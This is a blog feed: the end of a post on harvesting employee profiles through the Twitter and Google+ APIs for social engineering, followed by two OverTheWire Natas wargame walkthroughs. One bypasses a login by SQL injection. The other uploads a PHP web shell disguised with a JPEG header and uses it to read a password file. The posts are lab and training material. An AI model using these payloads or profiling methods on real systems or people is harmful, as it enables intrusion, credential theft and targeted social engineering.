As you can see, we are able to easily enumerate profiles related to Texas Tech University. Most importantly, this search provides us with the profile link (and also the Twitter handle). We can extract this information in the same way we extracted the LinkedIn information above. Now that we have acquired the profile links and other information, what else can we obtain about the profiles using Twitter's own API?<br />
<br />
<span id="twitter_api" style="font-size: large;">Twitter API</span><br />
<br />
Twitter has recently made changes in its API that caused problems for quite a few <a href="http://venturebeat.com/2012/09/08/twitters-api-changes-are-hurting-my-startup-and-twitter/" target="_blank">third party applications</a>. However, we can still use this API to our advantage to find quite a bit of information about the profiles we enumerated using the Custom Search API.<br />
<br />
<i><span style="color: orange;">As a quick note, Twitter recently "upgraded" their API to version 1.1. This version of the API no longer allows anonymous queries, so we will need to create an application to use with OAuth (much like we did with Facebook). In addition to this, new query limits have been placed on particular API calls.</span></i><br />
<br />
Our main source of information will be found in the documentation regarding <a href="https://dev.twitter.com/docs/platform-objects/users" target="_blank">API calls for user information</a>. Let's briefly take a look at the useful API functions that will allow us to gather the information we want.<br />
<br />
<i><a href="https://dev.twitter.com/docs/api/1/get/users/lookup" target="_blank">users/lookup</a></i><br />
<i><br /></i>
This function allows us to retrieve the "extended information" for up to 100 users in one call. This information includes the following (and more):<br />
<ul>
<li>Twitter handle</li>
<li>Name</li>
<li>Profile display information</li>
<li>Profile Description</li>
<li>Links to profile image, profile, etc.</li>
<li>Whether or not they have Geolocation enabled on Tweets</li>
<li>Profile Description</li>
</ul>
<div>
With the ability to specify a substantial amount of users in one API call, we can quickly get the extended information for our enumerated user profiles. A typical API call would look like the following</div>
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 14px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> https://api.twitter.com/1.1/users/lookup.json?screen_name=TexasTech
</code></pre>
<div>
<br />
<a href="https://dev.twitter.com/docs/api/1.1/get/followers/list" target="_blank"><i>followers/list</i></a> & <a href="https://dev.twitter.com/docs/api/1.1/get/friends/list" target="_blank"><i>friends/list</i></a></div>
<div>
<br /></div>
<div>
We can also use this API to get another critical piece of information: users following our enumerated profile, and who the profile is following. These API calls return the "user objects" (similar to the output of users/lookup) about each of the friends or followers. This information can be a critical asset when preparing for a social engineering engagement. Typical API calls to these functions will look like the following:<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 14px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> https://api.twitter.com/1.1/followers/list.json?cursor=-1&screen_name=TexasTech&skip_status=true&include_user_entities=true
https://api.twitter.com/1.1/friends/list.json?cursor=-1&screen_name=TexasTech&skip_status=true&include_user_entities=true
</code></pre>
<br />
<span id="google_plus_api" style="font-size: large;">Google+ API</span><br />
<br />
As another resource, Google+ offers an <a href="https://developers.google.com/+/api/" target="_blank">API for developers</a> which allows us to enumerate information for potential users. As before, we can use the Google Custom Search API with the following query to find users working for a specific company:<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 14px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> site:plus.google.com intext:"Works at Texas Tech University" -inurl:photos -inurl:about -inurl:posts -inurl:plusones
</code></pre>
<br />
After finding the profile for users, we can easily extract their user ID since it will be part of the profile URL. We can use the ID in a GET request to obtain the "<a href="https://developers.google.com/+/api/latest/people#resource" target="_blank">people resource</a>" for the profile using the <a href="https://developers.google.com/+/api/latest/people/get" target="_blank">"People:get" API function</a>.<br />
<br />
A sample call to this function would look like the following:<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 14px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> >>> import requests
>>> import json
>>> url = 'https://www.googleapis.com/plus/v1/people/108084201426317978902?key=api_key'
>>> response = requests.get(url)
>>> print json.dumps(response.json, indent=4)
{
"kind": "plus#person",
"displayName": "Texas Tech University",
"isPlusUser": true,
"url": "https://plus.google.com/108084201426317978902",
"tagline": "Texas Tech has more than 31,000 students pursuing 150 degree programs through 11 colleges.",
"image": {
"url": "https://lh6.googleusercontent.com/-BX9Sl2nLIgI/AAAAAAAAAAI/AAAAAAAAABE/2Wrif0f7x2k/photo.jpg?sz=50"
},
"cover": {
"coverInfo": {
"leftImageOffset": 0,
"topImageOffset": -158
},
"layout": "banner",
"coverPhoto": {
"url": "https://lh6.googleusercontent.com/-rPtjUfyzKaY/UFoHms715YI/AAAAAAAAAVg/szHZxhj4AF8/w940-h348/fall-leaves-1280x1024.jpg",
"width": 940,
"height": 348
}
},
"etag": "\"sJt1VilOvxUfDlfPWeqwjvyqpgI/5pxsUNTtt3JLvNLuIaCsR7pXmdI\"",
"plusOneCount": 571,
"urls": [
{
"type": "other",
"value": "http://www.ttu.edu"
}
],
"verified": true,
"circledByCount": 460,
"id": "108084201426317978902",
"objectType": "page"
}
</code></pre>
<br />
Granted, this is the result from the main Texas Tech page. If we were looking for a standard person's profile, we could also obtain education and work history, more description information, and potentially emails.<br />
<br />
Unfortunately, Google does not offer an official API call to retrieve the circles information for a particular profile. However, with a little bit of reverse engineering, it is fairly simple to create our own that works just fine. I may leave this for another post, since it is a bit of an involved process.<br />
<br />
With this summary of some basic APIs concluded, let's briefly discuss some other automated tools and techniques for information enumeration.<br />
<br />
<span id="other_resources" style="font-size: large;">Other Automated Resources</span><br />
<br />
There are many other tools that can help us in our OSINT gathering process. Let's discuss a couple of them now:<br />
<br />
<a href="https://github.com/pentestgeek/jigsaw/blob/master/jigsaw.rb">Jigsaw.rb</a> - The tool jigsaw.rb is included by default in Backtrack. It is a ruby script which scrapes the contact website <a href="http://www.jigsaw.com/">Jigsaw</a> for contact details and generates email addresses on the fly. It's a very handy script, and I am planning on posting a quick howto guide for it in the upcoming couple of days (I'll update this post when it's published).<br />
<br />
<a href="http://www.paterva.com/web6/" target="_blank">Maltego</a> - One of the most useful and widely used in the industry is <a href="http://www.paterva.com/web6/" target="_blank">Maltego</a>, the free community version of which is included by default in Backtrack. This tool provides automatic OSINT gathering techniques using "transforms". The data is then presented and manipulated using an intuitive graphical interface of a force-directed graph.<br />
<br />
<a href="http://www.spokeo.com/" target="_blank">Spokeo</a> - With the tagline "Not your grandma's phone book", Spokeo is a search engine for social information. By just entering a name, email address, username, phone number, etc., one can find information across a variety of social networking platforms and other sources.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOKrVTK3BmjsX_TVe0qG7V49vdHIB-RBGnTteG8dAF_gbui95slycw_YRZDjsy8dIjzZRddplfzcTxTiMMZAPPaTeo3ll04MJHxuTNrYPLqONCd5qETmlt8WxuWTBTVRWnMCFkM_4eTw/s1600/spokeo.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="235" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOKrVTK3BmjsX_TVe0qG7V49vdHIB-RBGnTteG8dAF_gbui95slycw_YRZDjsy8dIjzZRddplfzcTxTiMMZAPPaTeo3ll04MJHxuTNrYPLqONCd5qETmlt8WxuWTBTVRWnMCFkM_4eTw/s640/spokeo.PNG" width="640" /></a></div>
<br />
<i>Username Enumeration</i><br />
<i><br /></i>
Once we have a username (such as a Twitter username), how would we go about finding other sites this username is registered to? This kind of information is very useful in determining other interests or profiles for a given target. There are quite a few sites that do this for us, but here are my two favorites:<br />
<br />
<a href="http://namechk.com/">namechk.com</a> - Quick and easy, namechk provides an easy interface that searches over 150 popular sites for occurrences of the given username.<br />
<br />
<a href="http://checkusernames.com/">checkusernames.com</a> - Very similar to namechk, checkusernames.com provides an easy interface that checks a substantial amount of sites (160) to see if a given username is registered.<br />
<br />
But, checking usernames manually is no fun. With a little reverse engineering, I've created a simple script which automatically uses checkusernames interface for occurrences of a username. Here it is:<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 14px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> services = ['YouTube', 'Hypemachine', 'Yahoo', 'Linkagogo', 'Coolspotters', 'Wikipedia', 'Twitter', 'gdgt', 'BlogMarks', 'LinkedIn', 'Ebay', 'Tumblr', 'Pinterest',
'yotify', 'Blogger', 'Flickr', 'FortyThreeMarks,Moof', 'HuffingtonPost', 'Wordpress', 'DailyMotion', 'LiveJournal', 'vimeo', 'DeviantArt', 'reddit',
'StumbleUpon', 'Answers', 'Sourceforge', 'Wikia', 'ArmChairGM', 'Photobucket', 'MySpace', 'Etsy,SlideShare', 'Fiverr', 'scribd', 'Squidoo', 'ImageShack',
'ThemeForest', 'soundcloud', 'Tagged', 'Hulu', 'Typepad', 'Hubpages', 'weebly', 'Zimbio', 'github', 'TMZ', 'WikiHow', 'Delicious', 'zillow', 'Jimdo', 'goodreads',
'Segnalo', 'Netlog', 'Issuu', 'ForumNokia', 'UStream', 'Gamespot', 'MetaCafe', 'askfm', 'hi5', 'JustinTV', 'Blekko', 'Skyrock', 'Cracked', 'foursquare', 'LastFM',
'posterous', 'steam', 'Opera', 'Dreamstime', 'Fixya', 'UltimateGuitar', 'docstoc', 'FanPop', 'Break', 'tinyurl', 'Kongregate', 'Disqus', 'Armorgames', 'Behance',
'ChaCha', 'CafeMom', 'Liveleak', 'Topix', 'lonelyplanet', 'Stardoll', 'Instructables', 'Polyvore', 'Proboards', 'Weheartit', 'Diigo', 'Gawker', 'FriendFeed',
'Videobash', 'Technorati', 'Gravatar', 'Dribbble', 'formspringme', 'myfitnesspal', '500px', 'Newgrounds', 'GrindTV', 'smugmug', 'ibibo', 'ReverbNation', 'Netvibes',
'Slashdot', 'Fool', 'Plurk', 'zedge', 'Discogs', 'YardBarker', 'Ebaumsworld', 'sparkpeople', 'Sharethis', 'Xmarks', 'Crunchbase', 'FunnyOrDie,Suite101', 'OVGuide',
'Veoh', 'Yuku', 'Experienceproject', 'Fotolog', 'Hotklix', 'Epinions', 'Hyves', 'Sodahead', 'Stylebistro', 'fark', 'AboutMe', 'Metacritic', 'Toluna', 'Mobypicture',
'Gather', 'Datpiff', 'mouthshut', 'blogtalkradio', 'Dzone', 'APSense', 'Bigstockphoto', 'n4g', 'Newsvine', 'ColourLovers', 'Icanhazcheezburger', 'Xanga',
'InsaneJournal', 'redbubble', 'Kaboodle', 'Folkd', 'Bebo', 'Getsatisfaction', 'WebShots', 'threadless', 'Active', 'GetGlue', 'Shockwave', 'Pbase']
for service in services:
try:
print service + '\t',
if 'notavailable' not in requests.get('http://checkusernames.com/usercheckv2.php?target=' + service + '&username=' + username, headers={'X-Requested-With': 'XMLHttpRequest'}).text:
print 'Available'
else:
print ''
except Exception as e:
print e
</code></pre>
<br />
<span id="summary" style="font-size: large;">Summary - What Now?</span><br />
<br />
It is important to note that there are <i>countless</i> other (more manual) resources that can provide information for personnel, and we haven't even <i>started</i> covering APIs for finding system and network entity information. However, just as a quick recap, let's review the information we gathered using the resources above:<br />
<br />
<ul>
<li>Facebook profiles for company employees (also checking for email address associations)</li>
<li>Linkedin Profiles for company employees (including detailed profile information such as affiliations, education, work experience, etc.)</li>
<li>Twitter Profiles for employees (including following/followers data)</li>
<li>Google+ Profiles for employees (including detailed profile information)</li>
</ul>
<div>
<br />
We can now cross reference this data, and come up with a very detailed profile for a substantial amount of users.</div>
<div>
<br /></div>
<div>
I hope this post was enlightening, and as always, leave comments below if you have any questions or comments!</div>
<div>
<br /></div>
<div>
- Jordan</div>
</div>
Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com18tag:blogger.com,1999:blog-33242194251147061.post-55233823005220925902012-11-01T11:24:00.002-05:002012-11-01T11:25:22.278-05:00OvertheWire - Natas Wargame Level 14 Writeup<span style="font-size: large;">Level 14</span><br />
<br />
Using the credentials obtained in the previous post, we can login to Level 14 where we are presented with the following screen:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMjqCz5AEtzGXQdKY5DIHN2UKK8SxgCDTWPdmn_I0RPb0WEFN0DPd9oX1IhZxbg4LS5ZkOzCHRAfX9xz1d3Zt98-JJwJoTFK_L1xnzPK-LjnMDCcZovjwiRQp7gXHbIyq9wU8Ew_MRqQ/s1600/natas14.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMjqCz5AEtzGXQdKY5DIHN2UKK8SxgCDTWPdmn_I0RPb0WEFN0DPd9oX1IhZxbg4LS5ZkOzCHRAfX9xz1d3Zt98-JJwJoTFK_L1xnzPK-LjnMDCcZovjwiRQp7gXHbIyq9wU8Ew_MRqQ/s640/natas14.PNG" width="640" /></a></div>
<br />
<a name='more'></a>We see that to pass this level, we will need to find the correct Username and Password (or will we?). Let's take a look at the sourcecode:<br />
<br />
<pre style="background-color: #222222; background-position: initial initial; background-repeat: initial initial; border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> <html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas14</h1>
<div id="content">
<?
if(array_key_exists("username", $_REQUEST)) {
</code><code style="word-wrap: normal;"><span style="color: yellow;">$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link); </span></code><code style="color: white; word-wrap: normal;">
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
</code></pre>
<br />
We can see that this code creates a connection to a MySQL database on the localhost, selects the 'natas14' database, then constructs and executes a query. A key thing to notice is that if we provide a 'debug' parameter in our GET request, it will echo back the exact query being sent to the database. Let's use this and provide a username and password to see the query being sent:<br />
<br />
Username: test_username<br />
Password: test_password<br />
<br />
URL: <a href="http://natas14.natas.labs.overthewire.org/index.php?username=test_username&password=test_password&debug"><span style="font-family: Courier New, Courier, monospace;">http://natas14.natas.labs.overthewire.org/index.php?username=test_username&password=test_password&debug</span></a><br />
<br />
Visiting this URL, we receive the following response:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQtVG4A9si3sMGQ5pq36mh19S20PuYxA4g2pMB84u5cU7PMD0WDAuhYZHozmL3w5WCMxbelYFgmm3RVtuf5Tp7jv5zqRzp3p0aPJ7RYPGDbAVZhyphenhyphenTxoGpxhA5XFpbPptbOT2-gtyvM9w/s1600/natas14debug.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="242" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQtVG4A9si3sMGQ5pq36mh19S20PuYxA4g2pMB84u5cU7PMD0WDAuhYZHozmL3w5WCMxbelYFgmm3RVtuf5Tp7jv5zqRzp3p0aPJ7RYPGDbAVZhyphenhyphenTxoGpxhA5XFpbPptbOT2-gtyvM9w/s640/natas14debug.PNG" width="640" /></a></div>
<br />
We can see that our provided username and password are embedded within double quotes. If we were to just try and brute force these values, this would take a long time. What if we could somehow embed <i style="font-weight: bold;">our own</i> SQL code into this statement? If we could do that, then we could look into options that would allow us to bypass these checks. But more on that in a bit, let's first see if we can break out of these quotes by including a double quote in our username field:<br />
<br />
Username: test"username<br />
Password: test_password<br />
<br />
URL: <span style="font-family: Courier New, Courier, monospace;"><a href="http://natas14.natas.labs.overthewire.org/index.php?username=test%22username&password=test_password&debug">http://natas14.natas.labs.overthewire.org/index.php?username=test%22username&password=test_password&debug</a></span><br />
<br />
We receive the following response when we visit the URL:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7Nu2u4HK5k0aUxnjdxRYpaeP28IeBY254pITkmOeZH7M9dFch8LXjpcyiBb_nHsyWad4BEi66vaW6TcwdHyex7Zn0xvAf5eMTfF0DIVTgfytKaS0Z-jCXEwTKyTwbEtX6KAWgN61Vqw/s1600/natas14quoted.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="284" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7Nu2u4HK5k0aUxnjdxRYpaeP28IeBY254pITkmOeZH7M9dFch8LXjpcyiBb_nHsyWad4BEi66vaW6TcwdHyex7Zn0xvAf5eMTfF0DIVTgfytKaS0Z-jCXEwTKyTwbEtX6KAWgN61Vqw/s640/natas14quoted.PNG" width="640" /></a></div>
<br />
Awesome. Not only can we see that our double quote isn't sanitized and instead is included directly in the command, but we can see that we receive a mysql_num_rows() error, which tells us there was an error in our MySQL command, which caused it to not return any rows. We can deduce that the error occurred because our added double quote cause the quotes to not line up correctly. Now we have the condition username="test" followed by an incorrect username" that does not make sense to MySQL.<br />
<br />
So we can execute our own SQL code by escaping from these double quotes, but now what can we do with it? A common technique is to give MySQL a tautology, or "always true" statement, that will allow us to bypass the username and password checks. An example looks like the following:<br />
<br />
<div style="text-align: center;">
SELECT * FROM users WHERE username="<span style="color: orange;"><b>test" OR "1"="1</b></span>" AND password="<b><span style="color: orange;">test" OR "1"="1</span></b>"</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
The content we provide is in orange. This causes the database to check and see if there exists a record where the username is "test" <b><i>or if the string "1" = "1", which is always true.</i></b></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
The key thing to note here is that we have to make our quotes match up. Therefore we need to refrain from closing the quote on our final string, and let the PHP query do it for us. Let's run this query and see what happens:</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Username: test" OR "1"="1</div>
<div style="text-align: left;">
Password: test" OR "1"="1</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Using this query, we receive the following result:</div>
<div style="text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD5zWeRms3_d2jwm8kr8UUOLYZyclTHV6qfu_vm8E9Nt9DLwzWPdv2qKBl8fY0M1ZWyDNCQ0DK96KJbrVZfLYwGtWSkJuQWCHeeXIfkl0zCDMoOUWkUhrNrVcVNDNfqWhbQnIC3Mue5Q/s1600/natas14success.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD5zWeRms3_d2jwm8kr8UUOLYZyclTHV6qfu_vm8E9Nt9DLwzWPdv2qKBl8fY0M1ZWyDNCQ0DK96KJbrVZfLYwGtWSkJuQWCHeeXIfkl0zCDMoOUWkUhrNrVcVNDNfqWhbQnIC3Mue5Q/s640/natas14success.PNG" width="640" /></a></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Success! We were able to bypass the authentication check and cause the system to log us in as the first user in the users table, which in this case is natas15. We can use this password to log in to the next level.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
More writeups to come.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
-Jordan</div>
Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com0tag:blogger.com,1999:blog-33242194251147061.post-77276422402126453072012-10-30T21:50:00.001-05:002013-01-02T14:06:38.326-06:00OvertheWire - Natas Wargame Level 13 Writeup<br />
<span style="font-size: large;">Level 13</span><br />
<div>
</div>
<div>
<br />
Using the credentials obtained in the previous post, we can log in to Level 13, where we are presented with the following:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNk-d7PBzkrx4YJOuepF8svRR8OXsLzsFPk_qzcKEfWr8aZmrhkRAW_N_k7BG4W-3nWvKK4H_WnfCvMyzulkJjPfb_3lUr9EH8C-cEvVWF37bLZpcGk69chLuvPgdL_rmyfxG_9C0suQ/s1600/natas13.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="380" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNk-d7PBzkrx4YJOuepF8svRR8OXsLzsFPk_qzcKEfWr8aZmrhkRAW_N_k7BG4W-3nWvKK4H_WnfCvMyzulkJjPfb_3lUr9EH8C-cEvVWF37bLZpcGk69chLuvPgdL_rmyfxG_9C0suQ/s640/natas13.PNG" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<a name='more'></a><div style="text-align: left;">
<br />
It appears as though this new challenge only accepts image files. Let's start the same way as last time and look at the source:</div>
<div style="text-align: left;">
<br /></div>
<pre style="background-color: #222222; background-position: initial initial; background-repeat: initial initial; border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> <html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} </code><code style="word-wrap: normal;"><span style="color: yellow;">else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";</span></code><code style="color: white; word-wrap: normal;">
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
</code></pre>
<br />
To make things easier, I have highlighted the changes since the previous challenge. Using this knowledge, we can assume that we want to find a way to again upload a PHP file which will give us system command execution. With that in mind, let's think about how to tackle this challenge.<br />
<br />
A good rule of thumb to remember when dealing with Wargames or CTFs is that if a challenge is different than its previous counterpart by one or two lines, <i style="font-weight: bold;">those are the lines that matter.</i> Knowing this, there must be some way to bypass the new exif_imagetype function. Let's start by going straight to <a href="http://php.net/manual/en/function.exif-imagetype.php" target="_blank">the documentation</a>.<br />
<br />
The documentation for this function says that it will return a constant (which we can see is > 0) if and only if the first bytes of an image are successfully checked against a signature. What does this mean? Well, most filetypes such as JPEG, ZIP, TAR, etc. have a "<a href="http://en.wikipedia.org/wiki/Magic_number_(programming)" target="_blank">Magic Number</a>" at the beginning of the file to help verify its file type. So to pass the exif_imagetype function check, our file must start with the magic number of a supported image format.<br />
<br />
But wait, won't that make the file unusable? The answer is no, because if we are still able to pass our file with a .php extension then the file will be parsed as PHP, and the only code that will be executed will be that within the opening (<?) and closing (?>) PHP tags. We can start our file with anything we want.<br />
<br />
Now we simply research a supported file format of our choice and find the magic number. I chose JPEG and found the magic number <a href="http://www.astro.keele.ac.uk/oldusers/rno/Computing/File_magic.html" target="_blank">here</a>. I then used the following short Python script to create my file.<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> >>> fh = open('shell.php','w')
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
>>> fh.close()
</code></pre>
<br />
With my file created, I can use the same steps outlined in the <a href="http://raidersec.blogspot.com/2012/10/overthewire-natas-wargame-level-12.html" target="_blank">previous post</a> to upload my file. Let's see what happens:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5tmp2PRTacSwysbu7rtnrc5S4e5J2GENkXSJxaQo4uIaPKBR5C7_Q-ww5RPSyC6jsnzC1He5eYE1zvqy6UgU2CQLwhbn8Cs7CILXw7UrCBnqPykkYLHhQKEwbWAC7-jqJ2g54wNfoOw/s1600/natas13upload_success.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="292" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5tmp2PRTacSwysbu7rtnrc5S4e5J2GENkXSJxaQo4uIaPKBR5C7_Q-ww5RPSyC6jsnzC1He5eYE1zvqy6UgU2CQLwhbn8Cs7CILXw7UrCBnqPykkYLHhQKEwbWAC7-jqJ2g54wNfoOw/s640/natas13upload_success.PNG" width="640" /></a></div>
<br />
Awesome. As expected, our file was uploaded successfully, and by browsing to the URL [filename].php?cmd=cat /etc/natas_webpass/natas14, we receive the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9IfCgersFdnWUSD6xjlGqEk5yjeMijM34m0KDLqcEb4x2hMMC12kJU7gnCMZODOnRsV2tPxIRy4eNQJX2Myxbmwt5Bu2KU6JzvKnT0nrUrJ6xk-76ubaQ3JrAbWgNj_F5dCtQTIAn8w/s1600/natas13success.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9IfCgersFdnWUSD6xjlGqEk5yjeMijM34m0KDLqcEb4x2hMMC12kJU7gnCMZODOnRsV2tPxIRy4eNQJX2Myxbmwt5Bu2KU6JzvKnT0nrUrJ6xk-76ubaQ3JrAbWgNj_F5dCtQTIAn8w/s1600/natas13success.PNG" /></a></div>
<br />
A big thank you goes out to Reddit user <a href="http://www.reddit.com/user/fryboy" target="_blank">fryboy</a> for catching why the first four characters are included in the output. I completely overlooked the fact that anything outside of the PHP code tags is simply echoed back to the server. Therefore, these first 4 bytes are our magic number. With this being the case, our key is everything starting with the lower-case 's'. We can use this to log in to the next challenge.<br />
<br />
Almost there! More writeups to come.<br />
<br />
